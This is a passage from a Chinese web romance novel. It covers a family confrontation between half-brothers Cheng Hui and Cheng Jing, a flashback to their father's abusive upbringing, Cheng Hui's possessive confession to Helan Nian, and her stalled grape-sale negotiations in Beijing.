陈回竟然是程净的哥哥?!!
诶不对!
两人姓氏怎么对不上?她到底哪个搞错了?
遥想过去,程回当时对她说他名字的时候,戈壁风声太大,再加上她当时也不在意他姓什么叫什么,所以并没有认真听.....贺兰念觉得,大概率是她搞错了。
贺兰念看向程回,疑惑喊了一声:“陈回?”
程回没应,他目光落在贺兰念被程净搂住的手臂上。
“贺兰念,起来。”
“嗯?”贺兰念循着程回的目光,看见程净的手不知何时又缠了上来。
贺兰念示意程净先放开她,然后问他:“你是陈回的弟弟?”
“等一下!”程净似发现新大陆般喝住贺兰念,他笑着看向贺兰念,问,“你刚刚喊他‘陈回’?哪个chen?”
贺兰念便道:“耳东,陈。”
听清后,程净开始大笑,他笑得倒在沙发上弯腰捧腹。
贺兰念皱眉看着他,程净很瘦,几乎瘦到不健康的地步,这样激烈的大笑,贺兰念都担心她下一秒一口气上不来撅过去。
笑出眼泪,程净抬头看着贺兰念,眉眼柔美,言之凿凿道:“对!他叫陈回,我叫陈净,我是他...同父异母的弟弟。”
贺兰念:“......”
贺兰念正疑惑程净的反应,胳膊猝不及防被人拉起来。
程回拉着贺兰念就往外走,有人认出程回,自动让出一条路。
“这就要走了?”程净甜腻的声音在包厢响起时几乎带出回声,“听父亲说你回来看容伯母,我还没来得及关心哥哥呢,——哥哥见到容伯母了吗?”
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鞋底踩在地板上的啪嗒声慢慢顿住,程回停了下来。
包厢被一股剑拔弩张的气氛包围,是前所未有的安静。
程净还在说着,“真不知道伯母的精神疾病好些了没有?我还记得我刚回家那会,她还偷偷给过我巧克力吃呢~后面怎么就变成了疯子......”
“如果你见到了她,一定要跟她说我很想她哦~”程净叹息呢喃,“真想再见她一面。”
程回跟他父亲不合是整个圈子都知道的事,而这对父子不合的直接原因,便是程回的母亲。
程回的母亲是个精神病,疯子!
却鲜少有人知道,程回的母亲到底是谁,到底是怎么疯的。等他们注意到程回,注意到这家人,只知道程英纵一直没有结婚,但有很多很多情妇,好像还生了不少孩子,程回是私生子,程净也是私生子......而程回的母亲已经是疯的了。
这一家子包括程净在内没一个正常人,一度成为圈子里大家茶余饭后八卦的对象。只是碍于程家势力,没人敢当着他们的面说罢了。
现下兄弟争锋的直播大戏,包厢内所有人都竖着耳朵听得认真。
贺兰念想看一眼程回,但又觉得她现在看他不合适,像是在看他笑话一般......贺兰念不由想起程净说“看戏”的话,所以程净早就知道程回要来,甚至他还可能知道她跟程回的那么一点牵连。
陡然想到网上两人被炒得火热的CP,贺兰念默然:“......”
程净不会是误会她跟程回真的是“恋人”关系吧?
手臂骤然一松,贺兰念还没反应过来,程回已经转身往回走,他走到程净面前站定。
贺兰念一度见惯了程回周身散发的淡漠,他的从容不迫,甚至高高在上......这一刻,贺兰念明显感到程回的紧绷,像是陈年被压抑的某种疯狂扭曲的情绪即将爆发,带着不管不顾毁灭一切的气势。
但是并没有。
程回用冷漠毫无起伏的声线对程净说:“程净,这几年当狗当得还高兴吗?有伺候好主人吗?我回来让你这只狗终于有利用价值了,所以才这么兴奋吗?”
霎那之间,程净如遭雷击,他甜美漂亮的脸不可控的扭曲下去,纯净的眸子被愤怒倾覆,他死死瞪着程回,仿佛下一秒就要把他咬烂撕碎。
不知是怒极,还是程回说得话对他冲击力太大,好长时间,程净一句话都说不出来。
贺兰念被程回几乎没有人类温度的声音惊住。
刹那间铺天盖地的陌生,像是有人当场泼来的一盆冷水,让她惊颤不能自已。
或许她从来没有认识过程回,更遑论了解他。贺兰念想。
就在这时,程回回头,看见贺兰念恐慌又苍白的脸。
“贺兰念害怕他。”这个想法不可抑制在程回四肢百骸流窜,如千百伏电压刮过他血肉,痛得他不敢呼吸。
而沙发上的程净看到贺兰念的表情,慢慢露出满意的微笑。
看吧看吧,好好看看程回是个什么样的人!
他阴暗污秽的成长经历,他精神病的母亲,他冷漠变态的父亲!
......
还有!还有你没有发现的,他病态扭曲的心理!
害怕他!
厌恶他!
远离他!
程回......就应该跟自己一样,永远生活在地狱底下!
他怎么配得到爱情这种东西?
他不能得到爱情!
他必须烂死在污泥里!
20. Chapter 20
程回眼中仅剩的光芒渐渐淡下去,眼睛幽邃如寒潭。
贺兰念从她莫名觉得对不起程回的情绪中回神,她抬头,见程回似被抽空灵魂站在那里,心脏似被揪了下。
走到程回身边,在无数双眼睛注视下,贺兰念抓住程回的手腕,将他带出了包厢。
包厢里,有人在看程净的脸色,有人探出身子,看离开的程回和贺兰念。
而牵着程回走在走廊的贺兰念,感受到程回落在她侧脸,越来越不容忽视的视线......
他就这么一直盯着她,真要命!
这走廊怎么这么长!她怎么还牵着程回!
索性一不做二不休!
贺兰念佯装自然的松开抓着程回手腕的手。
然而,她还没放开,身侧突然一股大力,贺兰念一个闪身,被拉进一个漆黑的空间。
比视觉更先感受到的是凌冽冷淡的雪松味,贺兰念惊魂未定,下一秒被紧紧抱住......甚至比昨晚那个拥抱还要用力,贺兰念都能感觉到骨头被挤压出痛感。
与昨晚的克制不同,程回几乎整张脸都埋在了贺兰念颈窝,贺兰念在程回温热的呼吸下,身体微不可察轻颤了下。
很快,贺兰念发现不止她,程回整个身体都在发抖!
似是很害怕。
贺兰念那只欲推开程回的手就这样僵在半空。
不知过了多久,贺兰念终于听到程回的声音。
他声音极其压抑的喊她:“贺兰念!”
他呼出的热气洒在她脖颈,炙热得烤着她的皮肉,仿佛要顺着血液,烫进她心里。
没听见贺兰念的声音,程回抱得她越发紧,近乎禁锢。
贺兰念便轻“嗯”了一声,回应他。
“你不能害怕我!”程回的低吼闷在贺兰念脖颈。
这大概是程回第一次在她面前情绪这样外露,贺兰念一时心情复杂的不知说什么好,最后干巴巴道:“我没有害怕。”
她真的没有害怕程回,只是那瞬间,她因为不了解程回,莫名觉得对不起他,继而自责,觉得自己浅薄。
贺兰念自己都不知道为什么会出现这样的情感。
贺兰念干巴巴的反驳显然不能让程回相信,他固执的重复:“就算所有人都害怕我,厌恶我,憎恨我......你都不能!”
贺兰念一怔:“......为什么?”
程回没吭声。
缓叹了一口气,贺兰念往后撤了撤头,黑暗中,她漆黑的眸子定定看着程回,用平和却不容置疑的语气道:“你没有让我感到害怕。”
“另外,我从来不从别人口中认识一个人,我眼睛可以看,心也可以感受。在这点上,我不需要别人的帮忙。所以,明白了吗?”贺兰念盯着程回。
四目相对,似是程回先抵不住贺兰念太过绚烂的眸光,他低头重新埋进贺兰念脖颈,脚向前跨两步,把人抵在了墙上。
贺兰念身体一僵:“......”
贺兰念听到程回低低说了声:“明白了。”
片刻,贺兰念感觉程回似在她颈间轻嗅了下,没上文没下文的来了句,“惜儿是没说错。”
“什么?”
程回没应。
又片刻,贺兰念见程回完全没有起开的意思,她顿了下开口:“陈回,可以跟你商量件事吗?”
似是猜到她要说什么,贺兰念等了半天,终于等到程回不情不愿“嗯”了声。
“能不能放开我。”贺兰念接跟着说,“还有,下次抱人的时候能不能先征求对方的同意?”
程回:“......”
又是大半天,程回情绪不明“哦”了声。
贺兰念抬头看着黑漆的虚空某处,“你这样会让我很困扰,而且,很冒犯。”
程回语气充满疑惑:“很冒犯吗?”
贺兰念点了点头,“是,很冒犯。”
“......那你什么时候能冒犯一下我?”程回抬了一下头,看向贺兰念,“就算是我赔礼道歉。”
贺兰念:“......”
一声轻笑在寂静的包厢荡开,泛起一圈一圈缱绻的涟漪。
最后抱了贺兰念一下,程回松开手,看起来心情不错的悠然退后一步。
虽然那一步聊胜于无。
贺兰念像一只螃蟹般往旁边移。
少顷,头顶传来“噗嗤”一声笑。
贺兰念:“......”这么开心吗?
见贺兰念打开包厢门走出去,程回弯了弯唇,跟着她走了出去。
两人刚走到会所门口,迎面撞上李折搂着朋友的肩膀吵吵闹闹走过来。
不经意抬头看见程回和贺兰念,信誓旦旦说要带孩子的李折一阵心虚:“......”
贺兰念也看到了李折:“......”
放开朋友走到程回和贺兰念跟前,李折赶紧解释道:“那个,你们都不知道,今天惜儿跟我家老头玩得多好!把我家老头都哄成一朵花了,我都没见我家老头什么时候这么高兴过!”
程回:“所以?”
“惜儿在我家睡着了。”李折讨好的笑,“我就出来玩会......”
程回没说话,贺兰念道:“惜儿现在在你家?”
李折点头,立马道:“你放心,有阿姨看着不会有事的。”
贺兰念也不是不放心,她只是想快点见到惜儿,但要现在过去把人接出来吗?贺兰念担心打扰惜儿休息,又担心打扰李折家人休息。
似乎看出贺兰念的为难,程回朝李折抬了抬下巴,“走了,今天去你家睡。”
“啊?”李折反应了一下明白程回的意思,惊道,“你也来我家睡?”
程回瞥他一眼,“不行?”
李折猛摇头,“不是啊,只是觉得开天辟地头一回,震惊!震惊而已!”
“那,”李折看看程回,又看看贺兰念,迟疑着道,“我开了车,坐我的车走吧?”
程回看向贺兰念,见贺兰念低着头不知想什么,他略一沉思,道:“他家房间不少。”
“对对,我家人不多,就房间多!”李折附和。
犹豫片刻,贺兰念对李折道:“那麻烦你了。”
顿了下,她又补充一句,“我明天早上再带惜儿回酒店。”
李折闻言喃喃了句,“那我家老头估计要伤心咯——”
“......”
三人刚走到会所门口,身后响起程净的声音:“哥——”
程回置若罔闻,倒是贺兰念和李折回头看去。
程净眉眼弯弯,口中衔着一根棒棒糖,一副青春活力的摸样,笑着抬手跟贺兰念和李折打招呼。
李折表情立马像吃了屎一般,瞥了一眼全程置身事外的程回,李折在心里暗骂自己回个屁的头。
刚目睹了那样的事,贺兰念也没法当没发生过,想了下,她也没回应程净。
程净没有丝毫的尴尬,他几步跳到程回身前,笑嘻嘻开口:“哥,刚爸发消息说过来这边接我,你要不要一起走?”
程回:“......不打扰你们父子温情。”
“......”程净的脸扭曲了下,又扬着笑脸道,“哥哥不会吃醋吧?”
程回终于抬头看他一眼,像看见了神经病,道:“你要是什么时候抛弃你爸了,我倒是觉得没意思了。”
“......”程净脸色极难看抽搐了下。
一旁李折忍俊不禁,“噗嗤”一声笑出声,他还不知道,程回出了一趟国,用嘴巴气人的功夫倒是厉害了不少。
对于程回的语出惊人,贺兰念倒是见怪不怪,他印象里程回一直都是不会吃亏的主,说出的话经常让人招架不住。
就在这时
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一辆黑色的奔驰轿车从远处驶来,并未开到会所门口,车子停在距离贺兰念他们百米外。
程净看见那辆车,脸色有一瞬间的僵硬,他嘴巴张了张似是要提告别,但终究什么都没说出。
程净走过去,坐进车里。
黑色轿车启动,向着这边开来。
贺兰念察觉一道存在感极强的视线落在她身上,她循着感觉,看向轿车的后窗。
擦身而过的那几秒,后排车窗缓缓上升,后排的中年男人西装革履,身材瘦削结实,面部线条冷峻,冷冷向外扫了一眼,他视线从程回身上落在贺兰念身上......那一秒钟,贺兰念似被狼盯上,无形的威压似重金属压下,她几乎惊出一身冷汗。
程回的爸爸?
贺兰念不由看向程回,程回低头看手机,头都没抬,甚至有点意兴阑珊。
“......”贺兰念从来没有见过这样的父子关系。
泊车员把车开来,李折率先坐进去。程回紧跟着坐进后排,他没有一丝异常,倒是贺兰念怔了好一会儿,直到李折探出头喊了她一声。
奔驰后排,程净盯着后视镜,看着贺兰念坐上车,他眸光微妙闪了一下,阴狠夹杂一丝玩味在他眼中一闪而过,口中的棒棒糖在他虎牙间摩擦,咯咯作响。
“丢掉。”
程净状似没听到,他转过头扬着笑脸,“您找我——”
话未说完,他的下巴猛地被狠狠钳住,下一秒口中的棒棒糖被粗暴的扯出,丢到了窗外,“程净,别把我的话当耳边风。你想学程回反抗我?呵呵可惜了,你还没这个本事,也没这个资格!”
“懂了吗?”
刹那间,程净眼中闪过不甘、愤怒、屈辱、恨意......最后都归于看似的臣服。
“......是。我知道了。”
程净眼中的情绪程英纵自然看得明明白白,这正是他想要的效果,他就是要程净处处跟程回比,不然他想磨炼程回,没有一块好的石头怎么行。
平复好情绪,程净继续问没问完的问题,“您找我,有什么事吗?”
“自然有事。”程英纵把一沓资料扔到程净身上,“想来你已经知道我让程回去西北做的事,也知道贺兰念是谁了。”
程净捡起资料,“知道。”
想了一下,他猜测道,“您让我也去西北收购葡萄园?”
“不。”程英纵目光幽远不可捉摸,“我要你去阻止贺兰念跟周家合作。”
“......周家?”程净沉默几秒,想到什么,恍然道,“我想起来了,今天贺兰念说找周墨卖葡萄!”
“找周墨。”程英纵冷笑了一声,“这件事周墨可做不了主。”
程净思索片刻,他大概想到了这件事被隐藏的阴谋,但不动声色问道:“您的意思是?”
“让她继续找周墨。”程英纵道,“就这么一直去找周墨。”
程净心道了一句果然,道:“我会让周墨一直耗着她的。”
错误的努力方向是挖不到钻石的。
“不过——”程净起了个话头,又止住。
今天他把贺兰念跟人打高尔夫的视频发给程回,不过是想验证网上关于两人感情的传言......程回过来找贺兰念,程净并没有太多意外。
也不用过多观察,程回过来包厢看贺兰念的第一眼,程净就能确定程回对贺兰念的感情了。
程净犹豫,这件事...要不要跟程英纵说呢?
见程净半天没憋出一句话,程英纵不耐烦命令道:“哑巴了?把话说完!”
“......”程净心中陡然生起一股怒气,凭什么他就不能反抗他!为什么他要对他言听计从!
“没什么。”程净脸上的笑淡去一层,“贺兰念不会跟周家签约成功的。”
程英纵冷哼一声,自觉程净不敢忤逆他,没再多问。
21. Chapter 21
大概没有人比程回更清楚他母亲是怎么疯的。
程回还算正常的童年戛然而止于一个热浪翻涌的午后,他家门口停了辆黑色高级轿车。
程英纵一身高级西装从车上下来,眼神冰冷的看着欢声笑语往家走的母子。
“容筠,我来接你们。”这句话程英纵是看着程回说的。
这便是程回第一次见到程英纵,他名义上的父亲,没有丝毫的温情。就连接他们的话听起来都像是命令,而他们不能提出任何异议,必须跟他走。
不管多么不愿意,他们还是被带去了那个大房子。
外面的人都嘲笑她,一个小歌手,费尽心机爬上程总的床,生下儿子程英纵也没娶她。
家里的佣人都看不起她,程英纵更不把她当回事,一天又一天,当着她的面带不同的女人回家,在那个大房子里,那些女人都可以随意使唤她。
会在地铁勇敢指出猥亵女孩的大叔的人,会在网上为性工作者发声的人,为少数群体发声的人,难道她不知道反抗吗?她只会这样逆来顺受吗?
她当然敢,她会拼了她那条命反抗到底......但是程英纵拿程回威胁她,拿她威胁程回。
他们成为各自的掣肘,谁都不敢轻举妄动。
接下来就是,程英纵讨厌极了程回被她养成温弱多情的样子,开始残忍规训他。
很多画面如光速流转。
从直升机上被推下来的身体,雪白的猫和锋利的匕首,阴暗的地下室......
他必须达成程英纵的所有要求,他必须战胜程英纵认为的所有人性的弱点,胆怯、懦弱、情|欲、爱情等等等等。
如若不然,他的母亲就会受到惩罚。达成要求,他就可以见到他的母亲,但他必须求男人。
无数次,他跪在男人书房门前,跪在雨夜,跪在白雪间,等着男人对管家发出号令,把他妈妈放出来。
这是男人对他精神的驯服。
......
某一次程回忍无可忍,他像条疯狗,抓住程英纵又打又咬,那样子恨不得生啖其肉。
程英纵是个混|蛋,是个变|态,他坐在椅子上,任由程回撕咬打骂,等他打累了,像踢一条狗一样,一脚将程回踢开。
程回趴在地上,双眼通红,像只被打压狠心里扭曲的幼兽。
程英纵慢条斯理用餐巾擦了擦嘴角,慢慢起身,抬手一巴掌扇在了站在桌边的女人脸上,女人承受不住狠狠磕在桌角,摔在地上。
程回要疯了,挣扎着爬起来要跟程英纵拼命。
他一脚又一脚被踢开!如一块破布娃娃。
女人挣扎着爬到程回身边死死抱住他,低声下气跟程英纵道歉。
而程英纵从始至终没有看过她一眼,没有利用价值的人,从来不会出现在他眼里。
程回抬头,看见程英纵抬着下巴,居高临下看着他,微微勾起的嘴角轻蔑嘲讽。
程英纵什么都没说,可是他的眼神,他的姿态,几乎将程回的心贯穿,将他的脊骨压垮。
......
程回曲指点了点烟,烟灰扑簌簌飘落进烟灰缸,烟灰缸里已盛满烟灰和数不尽的烟头。
月光透过大开的窗户照到颓然坐在地板的人身上。
昏暗的房间里倒影的树叶剪影像深海鱼群游动,程回姿势松散,衬衣扣子松了三四颗,他脖颈后仰扯出嶙峋的喉骨,眼神空洞的盯着白凄凄的天花板,几秒钟后又点点手指,烟灰凄然落下,周而复始。
混沌中,贺兰念的脸浮现在程回脑海。
他僵麻的手指突然动了下。
想亲吻。
好想吻贺兰念。
快疯了!
不知过了多久,窗外开始有鸟鸣,程回掐灭烟,撑着地板起身,打开房门走了出去。
他似深夜游魂,漫无目的。
两分钟后,站在某个房门前,拧开房门。
透过未合上的窗帘能看见房间的床上躺着一大一小两个身影,程回站在床尾看了一会儿,走到床的另一边,坐在铺着白地毯的地板上。
窗外天色熹微,晨光乍破天际,撕出一道光落在贺兰念的脸上,照出她安睡的容颜。
程回就那么盯着,一动不动。
不知是不是有所感应,贺兰念的生物钟比平时提前了半个小时。
她缓缓睁开眼,猝不及防看见床边的程回,心里惊吓过度,面上却没显露出来。
两人对视片刻,程回依旧没有任何反应,贺兰念先坚持不住了。
她眨了下眼睛,移开视线。
程回身上烟味很浓,贺兰念想忽略都难。
她有注意到程回最近这段时间跟前段时间相比,好像吸烟少了很多,今天他不会吸了一|夜吧?是因为程净的那些话吗?
所以,程回还是在意程净那样说他母亲。
贺兰念叹息一声,是啊,有人那么说自己的妈妈,怎么可能不在意呢。
贺兰念喊了他一声,“陈回。”
好一段时间程回都没应,似是贺兰念叫的不是他的名字。
好久,才“嗯”了一声。
“能不能再跟你商量件事。”贺兰念侧躺在床上,看着程回说。
程回没有丝毫犹豫开口:“好。”
“......”贺兰念没想到程回会答应的这么痛快,她不由多盯了他几秒,将疑惑问出:“你知道我要说什么?”
“不知道。”程回依旧答的很快。
贺兰念却皱了皱眉,总觉得此时异常配合的程回不太正常,他像是深埋在冰层下很久,急需摄取温暖,所以急切的回答她,跟她说话,以逐渐印证......他还在人间,温暖的人间。
“不要吸烟了。”贺兰念说。
这一次,程回没立即回答。
思索片刻,冒着冒犯程回的危险,贺兰念小心翼翼问出口:“你有很多难解开的情绪吗?”
问完,程回果然再次沉默下来。
被窝里,贺兰念蜷缩在一起的手掌紧张到冒汗。
终于,贺兰念听到程回坦然承认,说了:“是。”
顿了下,他又补充,“很多。”
贺兰念反复斟酌,轻声开口:“之前我也有很多这种情绪......其实现在也有。”
“那你知道我是怎么摆脱那些情绪的吗?”
程回看着贺兰念生动的脸,不自觉顺着她的话问:“怎么摆脱的?”
想到即将要说得话,贺兰念不由感到一丝羞赧,“其实也没什么特别的,就是当时给自己灌了不少鸡汤。”
程回一下没懂哪个鸡汤,“什么?”
贺兰念开始念她存的各种“名人名言”。
“当你在凝视深渊时,深渊也正在凝视你——,”贺兰念顿了下,问,“你知道下一句是什么吗?”
程回:“……”
贺兰念一鼓作气念出:“但真正的勇者会点燃火炬照亮深渊的纹理。”
见程回怔住的脸,贺兰念状似发现某种乐趣,开启了诗歌朗诵,清凉的声音在清韵的黎明蕴着笑意。
“世界会打击每一个人,但经历过后,许多人会在受伤的地方变得更坚强。”
“我要扼住命运的咽喉,它妄想使我屈服,但绝不可能。”
……
“你看,这个世界是不是多得是柳暗花明,姹紫嫣红~”
贺兰念笑弯了眉眼,黎明稀薄的晨光打在她脸上,仿佛镀了一层琥珀色的滤镜,清透无瑕,生动美好的让人心动。
“就算不阳光明媚,你也很好啊。”贺兰念对程回说。
程回静静看着贺兰念,他的瞳孔有微不可察战栗的幅度。
“贺兰念。”程回喊了她一声,顿住。
“嗯?”
程回表情很淡说:“你喝了这么多鸡汤。”
“......啊,是,”想到什么,贺兰念磕巴了一下,语气突然虚下来,“是啊......”
程回身上有个特质,他的情绪若是不想让你知道,你大概是猜不到他在想什么的。
就比如现在,贺兰念完
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全看不出她说了这么一大圈,程回会想些什么,她想试探程回的想法,便又念了一句:“常言道,痛苦使人高贵,这不对。让人行为高尚的,有时是美满幸福;而痛苦往往使人变得——”
“没完没了了你。”程回打断贺兰念,他突然笑了,随即眼中带着认真道:“贺兰念,我不需要那些。”
“......哦。”
贺兰念怔怔看着程回脸上还未淡去的笑,鬼使神差的,问出口:“那你需要什么?”
“你。”
贺兰念心脏被一只无形的手狠狠攥住,她有种强烈的预感,程回即将说出如洪水猛兽一般的话了,她必须做出什么阻止,以防事情朝着她不能承受的方向发展......
“程回,你现在状态有点不正常,你自己知道吗?”
“嗯我知道。我有时候状态不太正常。但是——,”
程回忽然顿住,他的眼眸有一瞬间的衰败,那眼眸被他藏了一个深渊,而深渊的又深处,痛苦难捱的情绪肆意翻涌,似要冲破被他刻意营建的深渊牢狱,彻底又疯狂的侵蚀他。
“我很清醒。我会一直都很清醒。”程回用低沉又坚定的声音说。
不知道为什么,看着程回的眼睛,贺兰念心头渐渐涌起一股难以名状的悲伤。
那是一种熟悉又陌生的感觉,有人在痛苦的深渊里苦苦挣扎。
父亲哥哥和母亲相继去世后,贺兰念有段时间曾陷入深度抑郁,完全丧失活下去的动力,那种混沌、低落、绝望......深深困住她。
“你一定要坚强,你必须要坚强,你要一直一直坚强。”
这是那时候的贺兰念暗示自己的话,一直暗示自己的话。
“贺兰念。”程回又喊了她一声。
贺兰念心绪难宁的抬了抬眼睫,看向他。
四目相对,程回嘴唇动了动:“我是真的,喜欢上你了。”
“!!!”
贺兰念垂眸,不知何时,她的手被程回抓住,他抓得那么紧,似不容她一丝一毫的逃避。
“程回,你理智一点——”
“理智?”程回道,“我一直都让自己理智!可是只要看见你,我就什么理智都没了!”
“我忍不住想靠近你,想亲近你,触摸你,我想吻你想疯了!”程回呼吸急促,他猛地将贺兰念拉近。
他不再楚楚可怜,而是瞬间化身凶恶的狼,凑到贺兰念耳边说:“你知道我现在想做什么吗?我想把你压到这张床上,死死压着你,不让你有任何逃脱的可能,尽情亲吻你——”
后面程回又说了什么,贺兰念已经听不到了,她完全震惊,愣住,看着程回,人近乎全麻。
这一刻,贺兰念觉得她还见过小溪,就生生被人丢进了大海,汹涌的波涛拍打着她。
感到腰上缠上一只手,贺兰念猛地惊醒,她一把摁住程回的手。
“陈回。”贺兰念缓了一息,不去管程回扑在她颈间炙热的呼吸,开口,“我跟你说过我妈妈是殉情死的。”
程回身体一僵,默然不言。
“我不选择杨总不是为谁,我只是在自救,不让自己跌进欲望的深渊——只要付出身体,就可以得到什么。”
“但,我也讨厌爱情。”贺兰念说。
所以,她不会选择爱情,她不要爱情。——这是贺兰念的言外之意。
上一次程回没明白,这一次,他完全听明白了贺兰念的言外之意。
空气凝固住。
贺兰念心脏狂跳,她不能再跟程回待在一起!
转身把身后熟睡的惜儿捞起来,贺兰念跳下床,边走边说:“你在这里睡吧,我们去别的房间。”
随着“啪叽”的关门声,贺兰念的身影消失在门口。
程回盯着紧闭的房门。
他早知如此。
不知过了多久,他起身上床,躺进贺兰念空出的被窝,用带着余温的被子把自己裹住,牢牢裹住,那余温温暖,清香萦绕。
他无论如何都割舍不下。
他必须得到!
22. Chapter 22
贺兰念把惜儿抱到另一个房间就想离开,她短时间都不想面对程回。
然而,她刚走下楼,门口撞上一个拄着手杖头发灰白的老人,看起来像是要去院中散步的。
老人回头看见贺兰念,威严的脸一下舒展开,笑着道:“你就是念念吧?”
贺兰念思绪还很混乱,大部分留在了程回那边,她下意识懵懵点了点头,“我是。您怎么知道——”
“哈哈——”老人爽朗笑了两声,“昨天惜儿两句话不离‘念念’,我这是未见其人先知其人!”
“您是,李折的爷爷?”贺兰念猜测。
提到李折,老人拉了下脸,看起来不情不愿道了句:“是那臭小子的爷爷。——我叫李怀璧。”
老人身上有长年累月身居高位的气质,贺兰念没想到他竟然这么随和介绍自己的名字,愣了下喊了声:“李爷爷。”
李怀璧朝贺兰念摆了摆手,示意贺兰念不用这么客气,他眼睛微微一转,问道:“怎么起这么早?怎么?有急事?”
“没——”
“那好!既然没事,陪我在院里散散步吧。”李怀璧道。
贺兰念:“......好。”
“这家里的年轻人都睡不醒,连一个陪我散步的都没有,幸好你和惜儿来了。我听说你要在京几天,这几天就和惜儿住在这里吧。”
贺兰念:“......不不太麻烦你了,我还是——”
“不麻烦。”李怀璧转身往外走,“行,那就这么说定了。”
“......”
贺兰念总觉得,李怀璧是故意的。
陪李怀璧散步,让贺兰念再次想起了她的爸爸妈妈。还没出事前,几乎每天的清晨和傍晚,她爸爸妈妈都会一起散步。
有时候是一家四口一起,有时是随机组合的两人,三人......
只这样一想,贺兰念脑海就出现了很多很多的画面——清晨清透的晨光中,傍晚晚霞漫天的黄昏中,晚饭后清凉的微风中......只这么一回忆,贺兰念仿佛都能闻到那时的味道。
那种独特的,令人深深怀念的味道。
散完步接近八点,家里阿姨准备了很丰富的早餐,贺兰念去二楼喊惜儿起床。
“念念,把那两个小子也喊起来!”李怀璧在一楼喊了一声,喊完边回餐桌边喃喃,“不吃早餐,不惯你们这些臭毛病!”
贺兰念:“......”
惜儿的生物钟一般是晚八早八,可能昨晚太兴奋晚睡了会儿,贺兰念喊了两声,惜儿人还没清醒先软乎乎喊了声,“念念~”
贺兰念揉了揉惜儿的头发,问道:“李爷爷想让我们这几天都住在这里,惜儿愿意吗?”
惜儿迷迷糊糊张口就来:“愿意~”
“......知道我说的什么吗?”
“念念说,李爷爷想让——嗯?”她顿了一下,下一秒蹭地起床,三两下跳下床往一楼跑,边跑边喊:“李爷爷早上好呀~~~”
贺兰念听到了李怀璧愉悦的笑声,房间顿时充满童声笑语。
“......”
贺兰念忍不住叹息,惜儿在讨人欢心这块简直天赋异禀!
走出卧室,贺兰念往程回睡觉的房间看了一眼:“......”
不想敲门喊程回。
不仅不想面对他,程回看着像是真的一夜未睡,想到这点贺兰念有点于心不忍。
旁边房间,阿姨在敲李折房间的门,敲了半天没一点反应。
还是不叫了。
贺兰念下楼。
没喊来李折和程回,李爷爷哼了声,倒也没说什么。
三人开始吃早饭。
没过几分钟,楼梯上传来脚步声。
贺兰念回头,看见程回扯着李折下来,他把一脸困顿的李折拉到一个凳子上。
打招呼的声音过后是椅子划过地板的声音,贺兰念余光瞄见程回坐在了她对面。
贺兰念又把头低了低,只想快点结束这段早餐。
程回旁若无人,直勾勾盯着贺兰念恨不得把脸埋进碗里。
过了会儿,无声笑了下。
“你是程家小子?”李怀璧突然看向程回,问道。
不知是不是有意,程回没正面回答这个问题,只道:“我叫程回。”
李怀璧心有所思看了他一眼,再次开口道:“我跟你爸爸不熟,跟你爷爷熟。你以后找李折的时候,也过来陪我坐坐吧。”
贺兰念总觉得这些话有另一层含义,她忍不住抬头看了眼程回。
只见程回低垂着眼睑,一只手捏着咖啡勺,慢悠悠转着,不知道在想什么,片刻后嘴唇翕动:“行。”
话落,冷不丁的,他又补充了一句:“我可以陪您散步。”
贺兰念:“???”
贺兰念:“!!!”
偷瞄的一眼又跟程回撞上视线,贺兰念把头埋下,再没抬起过。
贺兰念盯着豆浆里的波晕,脑海慢慢浮现刚才惊鸿一瞥——程回脸上一抹清浅的笑,带着羞意。
不管是皮囊还是性格,程回这样的人,如果不是看到,实在很难想象他笑起来竟然是......羞涩的。
即便见过几次,贺兰念依然每次都被震撼到。
快速解决完早餐,贺兰念在程回意味不明的目光中,几乎逃似的离开了李怀璧家。
她受了一早上程回目光的洗礼,感觉皮都被刮下来一层!
*
再次坐在周砚家公司等周墨时,贺兰念脑中灵光一闪,终于想起一个被她忘记的问题——程回的身份。
想到昨天晚上程净说起程回名字时不正常的反应,贺兰念总觉得他们隐瞒了什么。
如果周墨也认识程净,那不如找周墨确认一下吧。
可是贺兰念等了又等,大约两个小时后,等来了周墨的助理过来跟她说,周墨开完会临时有事离开了。
贺兰念可以等,但葡萄不等人。贺兰念厚着脸皮跟助理要周墨的行程,却被拒绝了。没有办法,贺兰念只能打电话给周砚,希望他能帮忙问一下周墨的去处。
没有等太久,周砚发来了一个地址。
贺兰念立即出发,她必须找到周墨,尽快敲定合同,然后立马回西北准备采摘葡萄事宜。
最重要的是,如果这件事不成功,天纵集团一定会趁机大力收购葡萄园。
只是等贺兰念过去另外一家公司找周墨时,却被告知没有预约不能上楼,她只能在楼下等,可是等到下午,也没看见周墨的身影,被告知周墨已经从地下车库走了。
贺兰念站在马路边抬头看,一座座高楼大厦在下午的烈日下闪闪发光,苍白的天空被切割出各种几何图案,贺兰念看着看着,渐渐有种喘不上气的感觉。
她低下头,走到热浪翻涌的烈日下,向附近的地铁站而去。
进了地铁站,根本没有目的地,贺兰念一时不知道去哪。
人来人往,所有人都行色匆匆。
贺兰念走到一个偏僻角落的铁皮凳子上坐下,继续给周墨打电话。
大半个小时后,周墨终于发来一条消息,让她晚饭时间去某个饭店找他。
等贺兰念一过去,周墨便拉着她给在场的老板们敬酒。
不知是不是看出贺兰念的不高兴,周墨把贺兰念介绍给几个老板,有意无意提到葡萄和红酒。
饭局结束,贺兰念看向周墨,她还没说话,周墨热络道:“没想到你酒量这么好!”
而除了酒量,更让周墨意外的是,像贺兰念这样长着一张拒人于千里之外脸的冰美人,竟然就这么忍下来,乖乖随他召唤去给人敬酒。
所以!她应该是到了山穷水尽的地步了吧!
既然这样的话......
周墨挑了下眉,道:“明天我再介绍些老板给你认识,不用害羞,到时候你多加他们的联系方式。”
“......”贺兰念拧了一下眉,直接问道,“合同——”
周墨打断她,“你明天过来我再跟你商量这件事。——好了,我接下来还有应酬,你再跟我去吧。”
“......抱歉,我得回去照顾孩子了。”贺兰念声音清冷。
周墨“啧”了一声,他视线在贺兰念脸上逡巡了一会儿,眼中带着深意勾了勾唇,“既然这样,你就回去吧。”
贺兰念没吭声。
“放心,不会耽误你们葡萄采摘的。”走了两步,周墨回头对贺兰念说。
周墨离开后,贺兰念叹了一口气,葡萄收购合同没有丝毫进展。
关于程回到底姓什么的问题也没机会问出口。
接下来三天,贺兰念依旧被周墨喊去参加各种饭局和聚会。
合同却一直没落实。
贺兰念感觉自己是一条被钓的鱼,
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鱼竿掌握在别人手里,别人往东边扯,她就只能往东边去……
昨天杨叔打来电话,铃声响了两下,还没等贺兰念接又挂断......还有李叔李婶,虽然在电话里只关心了一下她和惜儿这几天过得怎么样,一句没提葡萄的事,但贺兰念心里清楚,他们都在焦急的等她的消息。
